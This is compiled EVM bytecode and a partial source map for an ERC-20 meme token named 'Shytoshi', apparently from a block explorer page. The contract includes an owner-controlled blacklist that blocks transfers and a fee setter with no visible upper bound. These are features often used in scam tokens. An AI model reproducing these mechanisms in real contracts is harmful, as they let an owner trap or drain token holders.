6004611bad565b610895565b3480156103fb57600080fd5b506102c560175481565b34801561041157600080fd5b506102c5610420366004611b65565b60116020526000908152604090205481565b34801561043e57600080fd5b506000546001600160a01b0316610296565b34801561045c57600080fd5b506101fc61046b366004611b92565b6108c4565b34801561047c57600080fd5b506102c560185481565b34801561049257600080fd5b50604080518082019091526008815267536879746f73686960c01b6020820152610230565b3480156104c357600080fd5b506101fc6104d2366004611bad565b61090c565b3480156104e357600080fd5b506101fc6104f2366004611bc6565b61093b565b34801561050357600080fd5b50610266610512366004611af8565b610979565b34801561052357600080fd5b50610266610532366004611b65565b60106020526000908152604090205460ff1681565b34801561055357600080fd5b506101fc610986565b34801561056857600080fd5b506101fc610577366004611bf8565b6109da565b34801561058857600080fd5b506102c5610597366004611c7c565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105ce57600080fd5b506101fc6105dd366004611bad565b610a7b565b3480156105ee57600080fd5b506101fc6105fd366004611b65565b610aaa565b6000546001600160a01b031633146106355760405162461bcd60e51b815260040161062c90611cb5565b60405180910390fd5b60005b815181101561069d5760016010600084848151811061065957610659611cea565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069581611d16565b915050610638565b5050565b60006106ae338484610b94565b5060015b92915050565b60006106c5848484610cb8565b610717843361071285604051806060016040528060288152602001611e30602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111f4565b610b94565b5060019392505050565b6000546001600160a01b0316331461074b5760405162461bcd60e51b815260040161062c90611cb5565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107965760405162461bcd60e51b815260040161062c90611cb5565b60168054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e957506013546001600160a01b0316336001600160a01b0316145b6107f257600080fd5b476107fc8161122e565b50565b6001600160a01b0381166000908152600260205260408120546106b290611268565b6000546001600160a01b0316331461084b5760405162461bcd60e51b815260040161062c90611cb5565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108bf5760405162461bcd60e51b815260040161062c90611cb5565b601755565b6000546001600160a01b031633146108ee5760405162461bcd60e51b815260040161062c90611cb5565b60168054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109365760405162461bcd60e51b815260040161062c90611cb5565b601955565b6000546001600160a01b031633146109655760405162461bcd60e51b815260040161062c90611cb5565b600893909355600a91909155600955600b55565b60006106ae338484610cb8565b6012546001600160a01b0316336001600160a01b031614806109bb57506013546001600160a01b0316336001600160a01b0316145b6109c457600080fd5b60006109cf306107ff565b90506107fc816112ec565b6000546001600160a01b03163314610a045760405162461bcd60e51b815260040161062c90611cb5565b60005b82811015610a75578160056000868685818110610a2657610a26611cea565b9050602002016020810190610a3b9190611b65565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6d81611d16565b915050610a07565b50505050565b6000546001600160a01b03163314610aa55760405162461bcd60e51b815260040161062c90611cb5565b601855565b6000546001600160a01b03163314610ad45760405162461bcd60e51b815260040161062c90611cb5565b6001600160a01b038116610b395760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161062c565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161062c565b6001600160a01b038216610c575760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161062c565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d1c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161062c565b6001600160a01b038216610d7e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161062c565b60008111610de05760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161062c565b6000546001600160a01b03848116911614801590610e0c57506000546001600160a01b03838116911614155b156110ed57601654600160a01b900460ff16610ea5576000546001600160a01b03848116911614610ea55760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161062c565b601754811115610ef75760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161062c565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3957506001600160a01b03821660009081526010602052604090205460ff16155b610f915760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161062c565b6016546001600160a01b038381169116146110165760185481610fb3846107ff565b610fbd9190611d31565b106110165760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161062c565b6000611021306107ff565b60195460175491925082101590821061103a5760175491505b8080156110515750601654600160a81b900460ff16155b801561106b57506016546001600160a01b03868116911614155b80156110805750601654600160b01b900460ff165b80156110a557506001600160a01b03851660009081526005602052604090205460ff16155b80156110ca57506001600160a01b03841660009081526005602052604090205460ff16155b156110ea576110d8826112ec565b4780156110e8576110e84761122e565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112f57506001600160a01b03831660009081526005602052604090205460ff165b8061116157506016546001600160a01b0385811691161480159061116157506016546001600160a01b03848116911614155b1561116e575060006111e8565b6016546001600160a01b03858116911614801561119957506015546001600160a01b03848116911614155b156111ab57600854600c55600954600d555b6016546001600160a01b0384811691161480156111d657506015546001600160a01b03858116911614155b156111e857600a54600c55600b54600d555b610a7584848484611475565b600081848411156112185760405162461bcd60e51b815260040161062c9190611aa3565b5060006112258486611d49565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561069d573d6000803e3d6000fd5b60006006548211156112cf5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161062c565b60006112d96114a3565b90506112e583826114c6565b9392505050565b6016805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133457611334611cea565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138857600080fd5b505afa15801561139c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113c09190611d60565b816001815181106113d3576113d3611cea565b6001600160a01b0392831660209182029290920101526015546113f99130911684610b94565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac94790611432908590600090869030904290600401611d7d565b600060405180830381600087803b15801561144c57600080fd5b505af1158015611460573d6000803e3d6000fd5b50506016805460ff60a81b1916905550505050565b8061148257611482611508565b61148d848484611536565b80610a7557610a75600e54600c55600f54600d55565b60008060006114b06116a5565b90925090506114bf82826114c6565b9250505090565b60006112e583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116e5565b600c541580156115185750600d54155b1561151f57565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154887611713565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157a9087611770565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a990866117b2565b6001600160a01b0389166000908152600260205260409020556115cb81611811565b6115d5848361185b565b6016546001600160a01b038a8116911614806115fe57506000546001600160a01b038a81169116145b1561164c576014546040518481526001600160a01b038a81169216907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a361169a565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161169191815260200190565b60405180910390a35b505050505050505050565b6006546000908190670de0b6b3a76400006116c082826114c6565b8210156116dc57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836117065760405162461bcd60e51b815260040161062c9190611aa3565b5060006112258486611dee565b60008060008060008060008060006117308a600c54600d5461187f565b92509250925060006117406114a3565b905060008060006117538e8787876118d4565b919e509c509a509598509396509194505050505091939550919395565b60006112e583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f4565b6000806117bf8385611d31565b9050838110156112e55760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161062c565b600061181b6114a3565b905060006118298383611924565b3060009081526002602052604090205490915061184690826117b2565b30600090815260026020526040902055505050565b6006546118689083611770565b60065560075461187890826117b2565b6007555050565b600080808061189960646118938989611924565b906114c6565b905060006118ac60646118938a89611924565b905060006118c4826118be8b86611770565b90611770565b9992985090965090945050505050565b60008080806118e38886611924565b905060006118f18887611924565b905060006118ff8888611924565b90506000611911826118be8686611770565b939b939a50919850919650505050505050565b600082611933575060006106b2565b600061193f8385611e10565b90508261194c8583611dee565b146112e55760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161062c565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107fc57600080fd5b80356119d9816119b9565b919050565b600060208083850312156119f157600080fd5b823567ffffffffffffffff80821115611a0957600080fd5b818501915085601f830112611a1d57600080fd5b813581811115611a2f57611a2f6119a3565b8060051b604051601f19603f83011681018181108582111715611a5457611a546119a3565b604052918252848201925083810185019188831115611a7257600080fd5b938501935b82851015611a9757611a88856119ce565b84529385019392850192611a77565b98975050505050505050565b600060208083528351808285015260005b81811015611ad057858101830151858201604001528201611ab4565b81811115611ae2576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611b0b57600080fd5b8235611b16816119b9565b946020939093013593505050565b600080600060608486031215611b3957600080fd5b8335611b44816119b9565b92506020840135611b54816119b9565b929592945050506040919091013590565b600060208284031215611b7757600080fd5b81356112e5816119b9565b803580151581146119d957600080fd5b600060208284031215611ba457600080fd5b6112e582611b82565b600060208284031215611bbf57600080fd5b5035919050565b60008060008060808587031215611bdc57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611c0d57600080fd5b833567ffffffffffffffff80821115611c2557600080fd5b818601915086601f830112611c3957600080fd5b813581811115611c4857600080fd5b8760208260051b8501011115611c5d57600080fd5b602092830195509350611c739186019050611b82565b90509250925092565b60008060408385031215611c8f57600080fd5b8235611c9a816119b9565b91506020830135611caa816119b9565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611d2a57611d2a611d00565b5060010190565b60008219821115611d4457611d44611d00565b500190565b600082821015611d5b57611d5b611d00565b500390565b600060208284031215611d7257600080fd5b81516112e5816119b9565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611dcd5784516001600160a01b031683529383019391830191600101611da8565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611e0b57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611e2a57611e2a611d00565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205b7152189352dd1361bfdc1e5463805bfb0db4aa841293bdf00f27ea9548f3fc64736f6c63430008090033

Deployed Bytecode

0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461055c578063dd62ed3e1461057c578063ea1644d5146105c2578063f2fde38b146105e257600080fd5b8063a2a957bb146104d7578063a9059cbb146104f7578063bfd7928414610517578063c3c8cd801461054757600080fd5b80638f70ccf7116100d15780638f70ccf7146104505780638f9a55c01461047057806395d89b411461048657806398a5c315146104b757600080fd5b80637d1db4a5146103ef5780637f2feddc146104055780638da5cb5b1461043257600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038557806370a082311461039a578063715018a6146103ba57806374010ece146103cf57600080fd5b8063313ce5671461030957806349bd5a5e146103255780636b999053146103455780636d8aa8f81461036557600080fd5b80631694505e116101ab5780631694505e1461027657806318160ddd146102ae57806323b872dd146102d35780632fd689e3146102f357600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024657600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f73660046119de565b610602565b005b34801561020a57600080fd5b5060408051808201909152600d81526c46726f6d20536879746f73686960981b60208201525b60405161023d9190611aa3565b60405180910390f35b34801561025257600080fd5b50610266610261366004611af8565b6106a1565b604051901515815260200161023d565b34801561028257600080fd5b50601554610296906001600160a01b031681565b6040516001600160a01b03909116815260200161023d565b3480156102ba57600080fd5b50670de0b6b3a76400005b60405190815260200161023d565b3480156102df57600080fd5b506102666102ee366004611b24565b6106b8565b3480156102ff57600080fd5b506102c560195481565b34801561031557600080fd5b506040516009815260200161023d565b34801561033157600080fd5b50601654610296906001600160a01b031681565b34801561035157600080fd5b506101fc610360366004611b65565b610721565b34801561037157600080fd5b506101fc610380366004611b92565b61076c565b34801561039157600080fd5b506101fc6107b4565b3480156103a657600080fd5b506102c56103b5366004611b65565b6107ff565b3480156103c657600080fd5b506101fc610821565b3480156103db57600080fd5b506101fc6103ea366004611bad565b610895565b3480156103fb57600080fd5b506102c560175481565b34801561041157600080fd5b506102c5610420366004611b65565b60116020526000908152604090205481565b34801561043e57600080fd5b506000546001600160a01b0316610296565b34801561045c57600080fd5b506101fc61046b366004611b92565b6108c4565b34801561047c57600080fd5b506102c560185481565b34801561049257600080fd5b50604080518082019091526008815267536879746f73686960c01b6020820152610230565b3480156104c357600080fd5b506101fc6104d2366004611bad565b61090c565b3480156104e357600080fd5b506101fc6104f2366004611bc6565b61093b565b34801561050357600080fd5b50610266610512366004611af8565b610979565b34801561052357600080fd5b50610266610532366004611b65565b60106020526000908152604090205460ff1681565b34801561055357600080fd5b506101fc610986565b34801561056857600080fd5b506101fc610577366004611bf8565b6109da565b34801561058857600080fd5b506102c5610597366004611c7c565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105ce57600080fd5b506101fc6105dd366004611bad565b610a7b565b3480156105ee57600080fd5b506101fc6105fd366004611b65565b610aaa565b6000546001600160a01b031633146106355760405162461bcd60e51b815260040161062c90611cb5565b60405180910390fd5b60005b815181101561069d5760016010600084848151811061065957610659611cea565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069581611d16565b915050610638565b5050565b60006106ae338484610b94565b5060015b92915050565b60006106c5848484610cb8565b610717843361071285604051806060016040528060288152602001611e30602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111f4565b610b94565b5060019392505050565b6000546001600160a01b0316331461074b5760405162461bcd60e51b815260040161062c90611cb5565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107965760405162461bcd60e51b815260040161062c90611cb5565b60168054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e957506013546001600160a01b0316336001600160a01b0316145b6107f257600080fd5b476107fc8161122e565b50565b6001600160a01b0381166000908152600260205260408120546106b290611268565b6000546001600160a01b0316331461084b5760405162461bcd60e51b815260040161062c90611cb5565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108bf5760405162461bcd60e51b815260040161062c90611cb5565b601755565b6000546001600160a01b031633146108ee5760405162461bcd60e51b815260040161062c90611cb5565b60168054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109365760405162461bcd60e51b815260040161062c90611cb5565b601955565b6000546001600160a01b031633146109655760405162461bcd60e51b815260040161062c90611cb5565b600893909355600a91909155600955600b55565b60006106ae338484610cb8565b6012546001600160a01b0316336001600160a01b031614806109bb57506013546001600160a01b0316336001600160a01b0316145b6109c457600080fd5b60006109cf306107ff565b90506107fc816112ec565b6000546001600160a01b03163314610a045760405162461bcd60e51b815260040161062c90611cb5565b60005b82811015610a75578160056000868685818110610a2657610a26611cea565b9050602002016020810190610a3b9190611b65565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6d81611d16565b915050610a07565b50505050565b6000546001600160a01b03163314610aa55760405162461bcd60e51b815260040161062c90611cb5565b601855565b6000546001600160a01b03163314610ad45760405162461bcd60e51b815260040161062c90611cb5565b6001600160a01b038116610b395760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161062c565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161062c565b6001600160a01b038216610c575760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161062c565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d1c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161062c565b6001600160a01b038216610d7e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161062c565b60008111610de05760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161062c565b6000546001600160a01b03848116911614801590610e0c57506000546001600160a01b03838116911614155b156110ed57601654600160a01b900460ff16610ea5576000546001600160a01b03848116911614610ea55760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161062c565b601754811115610ef75760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161062c565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3957506001600160a01b03821660009081526010602052604090205460ff16155b610f915760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161062c565b6016546001600160a01b038381169116146110165760185481610fb3846107ff565b610fbd9190611d31565b106110165760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161062c565b6000611021306107ff565b60195460175491925082101590821061103a5760175491505b8080156110515750601654600160a81b900460ff16155b801561106b57506016546001600160a01b03868116911614155b80156110805750601654600160b01b900460ff165b80156110a557506001600160a01b03851660009081526005602052604090205460ff16155b80156110ca57506001600160a01b03841660009081526005602052604090205460ff16155b156110ea576110d8826112ec565b4780156110e8576110e84761122e565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112f57506001600160a01b03831660009081526005602052604090205460ff165b8061116157506016546001600160a01b0385811691161480159061116157506016546001600160a01b03848116911614155b1561116e575060006111e8565b6016546001600160a01b03858116911614801561119957506015546001600160a01b03848116911614155b156111ab57600854600c55600954600d555b6016546001600160a01b0384811691161480156111d657506015546001600160a01b03858116911614155b156111e857600a54600c55600b54600d555b610a7584848484611475565b600081848411156112185760405162461bcd60e51b815260040161062c9190611aa3565b5060006112258486611d49565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561069d573d6000803e3d6000fd5b60006006548211156112cf5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161062c565b60006112d96114a3565b90506112e583826114c6565b9392505050565b6016805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133457611334611cea565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138857600080fd5b505afa15801561139c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113c09190611d60565b816001815181106113d3576113d3611cea565b6001600160a01b0392831660209182029290920101526015546113f99130911684610b94565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac94790611432908590600090869030904290600401611d7d565b600060405180830381600087803b15801561144c57600080fd5b505af1158015611460573d6000803e3d6000fd5b50506016805460ff60a81b1916905550505050565b8061148257611482611508565b61148d848484611536565b80610a7557610a75600e54600c55600f54600d55565b60008060006114b06116a5565b90925090506114bf82826114c6565b9250505090565b60006112e583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116e5565b600c541580156115185750600d54155b1561151f57565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154887611713565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157a9087611770565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a990866117b2565b6001600160a01b0389166000908152600260205260409020556115cb81611811565b6115d5848361185b565b6016546001600160a01b038a8116911614806115fe57506000546001600160a01b038a81169116145b1561164c576014546040518481526001600160a01b038a81169216907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a361169a565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161169191815260200190565b60405180910390a35b505050505050505050565b6006546000908190670de0b6b3a76400006116c082826114c6565b8210156116dc57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836117065760405162461bcd60e51b815260040161062c9190611aa3565b5060006112258486611dee565b60008060008060008060008060006117308a600c54600d5461187f565b92509250925060006117406114a3565b905060008060006117538e8787876118d4565b919e509c509a509598509396509194505050505091939550919395565b60006112e583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f4565b6000806117bf8385611d31565b9050838110156112e55760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161062c565b600061181b6114a3565b905060006118298383611924565b3060009081526002602052604090205490915061184690826117b2565b30600090815260026020526040902055505050565b6006546118689083611770565b60065560075461187890826117b2565b6007555050565b600080808061189960646118938989611924565b906114c6565b905060006118ac60646118938a89611924565b905060006118c4826118be8b86611770565b90611770565b9992985090965090945050505050565b60008080806118e38886611924565b905060006118f18887611924565b905060006118ff8888611924565b90506000611911826118be8686611770565b939b939a50919850919650505050505050565b600082611933575060006106b2565b600061193f8385611e10565b90508261194c8583611dee565b146112e55760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161062c565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107fc57600080fd5b80356119d9816119b9565b919050565b600060208083850312156119f157600080fd5b823567ffffffffffffffff80821115611a0957600080fd5b818501915085601f830112611a1d57600080fd5b813581811115611a2f57611a2f6119a3565b8060051b604051601f19603f83011681018181108582111715611a5457611a546119a3565b604052918252848201925083810185019188831115611a7257600080fd5b938501935b82851015611a9757611a88856119ce565b84529385019392850192611a77565b98975050505050505050565b600060208083528351808285015260005b81811015611ad057858101830151858201604001528201611ab4565b81811115611ae2576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611b0b57600080fd5b8235611b16816119b9565b946020939093013593505050565b600080600060608486031215611b3957600080fd5b8335611b44816119b9565b92506020840135611b54816119b9565b929592945050506040919091013590565b600060208284031215611b7757600080fd5b81356112e5816119b9565b803580151581146119d957600080fd5b600060208284031215611ba457600080fd5b6112e582611b82565b600060208284031215611bbf57600080fd5b5035919050565b60008060008060808587031215611bdc57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611c0d57600080fd5b833567ffffffffffffffff80821115611c2557600080fd5b818601915086601f830112611c3957600080fd5b813581811115611c4857600080fd5b8760208260051b8501011115611c5d57600080fd5b602092830195509350611c739186019050611b82565b90509250925092565b60008060408385031215611c8f57600080fd5b8235611c9a816119b9565b91506020830135611caa816119b9565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611d2a57611d2a611d00565b5060010190565b60008219821115611d4457611d44611d00565b500190565b600082821015611d5b57611d5b611d00565b500390565b600060208284031215611d7257600080fd5b81516112e5816119b9565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611dcd5784516001600160a01b031683529383019391830191600101611da8565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611e0b57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611e2a57611e2a611d00565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205b7152189352dd1361bfdc1e5463805bfb0db4aa841293bdf00f27ea9548f3fc64736f6c63430008090033

Deployed Bytecode Sourcemap

4164:13737:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12912:169;;;;;;;;;;-1:-1:-1;12912:169:0;;;;;:::i;:::-;;:::i;:::-;;6740:83;;;;;;;;;;-1:-1:-1;6810:5:0;;;;;;;;;;;;-1:-1:-1;;;6810:5:0;;;;6740:83;;;;;;;:::i;:::-;;;;;;;;7665:193;;;;;;;;;;-1:-1:-1;7665:193:0;;;;;:::i;:::-;;:::i;:::-;;;2634:14:1;;2627:22;2609:41;;2597:2;2582:18;7665:193:0;2469:187:1;5584:41:0;;;;;;;;;;-1:-1:-1;5584:41:0;;;;-1:-1:-1;;;;;5584:41:0;;;;;;-1:-1:-1;;;;;2851:32:1;;;2833:51;;2821:2;2806:18;5584:41:0;2661:229:1;7017:95:0;;;;;;;;;;-1:-1:-1;4720:18:0;7017:95;;;3041:25:1;;;3029:2;3014:18;7017:95:0;2895:177:1;7866:446:0;;;;;;;;;;-1:-1:-1;7866:446:0;;;;;:::i;:::-;;:::i;5890:52::-;;;;;;;;;;;;;;;;6926:83;;;;;;;;;;-1:-1:-1;6926:83:0;;4394:1;3680:36:1;;3668:2;3653:18;6926:83:0;3538:184:1;5632:28:0;;;;;;;;;;-1:-1:-1;5632:28:0;;;;-1:-1:-1;;;;;5632:28:0;;;13089:92;;;;;;;;;;-1:-1:-1;13089:92:0;;;;;:::i;:::-;;:::i;17283:101::-;;;;;;;;;;-1:-1:-1;17283:101:0;;;;;:::i;:::-;;:::i;12669:235::-;;;;;;;;;;;;;:::i;7120:138::-;;;;;;;;;;-1:-1:-1;7120:138:0;;;;;:::i;:::-;;:::i;1651:148::-;;;;;;;;;;;;;:::i;17423:108::-;;;;;;;;;;-1:-1:-1;17423:108:0;;;;;:::i;:::-;;:::i;5782:46::-;;;;;;;;;;;;;;;;5258:43;;;;;;;;;;-1:-1:-1;5258:43:0;;;;;:::i;:::-;;;;;;;;;;;;;;1437:79;;;;;;;;;;-1:-1:-1;1475:7:0;1502:6;-1:-1:-1;;;;;1502:6:0;1437:79;;12316:101;;;;;;;;;;-1:-1:-1;12316:101:0;;;;;:::i;:::-;;:::i;5835:48::-;;;;;;;;;;;;;;;;6831:87;;;;;;;;;;-1:-1:-1;6903:7:0;;;;;;;;;;;;-1:-1:-1;;;6903:7:0;;;;6831:87;;17092:139;;;;;;;;;;-1:-1:-1;17092:139:0;;;;;:::i;:::-;;:::i;16749:291::-;;;;;;;;;;-1:-1:-1;16749:291:0;;;;;:::i;:::-;;:::i;7266:199::-;;;;;;;;;;-1:-1:-1;7266:199:0;;;;;:::i;:::-;;:::i;5220:36::-;;;;;;;;;;-1:-1:-1;5220:36:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;12425:236;;;;;;;;;;;;;:::i;17662:234::-;;;;;;;;;;-1:-1:-1;17662:234:0;;;;;:::i;:::-;;:::i;7473:184::-;;;;;;;;;;-1:-1:-1;7473:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;7622:18:0;;;7590:7;7622:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7473:184;17539:115;;;;;;;;;;-1:-1:-1;17539:115:0;;;;;:::i;:::-;;:::i;1807:244::-;;;;;;;;;;-1:-1:-1;1807:244:0;;;;;:::i;:::-;;:::i;12912:169::-;1564:6;;-1:-1:-1;;;;;1564:6:0;276:10;1564:22;1556:67;;;;-1:-1:-1;;;1556:67:0;;;;;;;:::i;:::-;;;;;;;;;12988:9:::1;12983:91;13007:5;:12;13003:1;:16;12983:91;;;13058:4;13041;:14;1304